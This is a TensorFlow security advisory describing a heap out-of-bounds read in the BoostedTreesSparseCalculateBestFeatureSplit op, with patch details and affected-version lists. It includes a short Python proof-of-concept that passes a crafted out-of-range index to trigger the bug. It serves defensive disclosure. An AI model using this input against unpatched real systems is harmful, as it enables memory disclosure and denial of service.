GHSA-r4c4-5fpq-56wg

Suggest an improvement
Source
https://github.com/advisories/GHSA-r4c4-5fpq-56wg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/08/GHSA-r4c4-5fpq-56wg/GHSA-r4c4-5fpq-56wg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-r4c4-5fpq-56wg
Aliases
Published
2021-08-25T14:42:20Z
Modified
2023-12-06T01:01:22.993809Z
Severity
  • 7.3 (High) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H CVSS Calculator
Summary
Heap OOB in boosted trees
Details

Impact

An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to BoostedTreesSparseCalculateBestFeatureSplit:

import tensorflow as tf

tf.raw_ops.BoostedTreesSparseCalculateBestFeatureSplit(
  node_id_range=[0,10],
  stats_summary_indices=[[1, 2, 3, 0x1000000]],
  stats_summary_values=[1.0],
  stats_summary_shape=[1,1,1,1],
  l1=l2=[1.0],
  tree_complexity=[0.5],
  min_node_weight=[1.0],
  logits_dimension=3,
  split_type='inequality')                                                                                                                                                                                                                                                                

The implementation needs to validate that each value in stats_summary_indices is in range.

Patches

We have patched the issue in GitHub commit e84c975313e8e8e38bb2ea118196369c45c51378.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

References

Affected packages

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.3.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.3

Affected versions

2.*

2.4.0
2.4.1
2.4.2

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.1

Affected versions

2.*

2.5.0

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.3.4

Affected versions

1.*

1.15.0

2.*

2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.3

Affected versions

2.*

2.4.0
2.4.1
2.4.2

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.1

Affected versions

2.*

2.5.0

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.3.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.3

Affected versions

2.*

2.4.0
2.4.1
2.4.2

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.1

Affected versions

2.*

2.5.0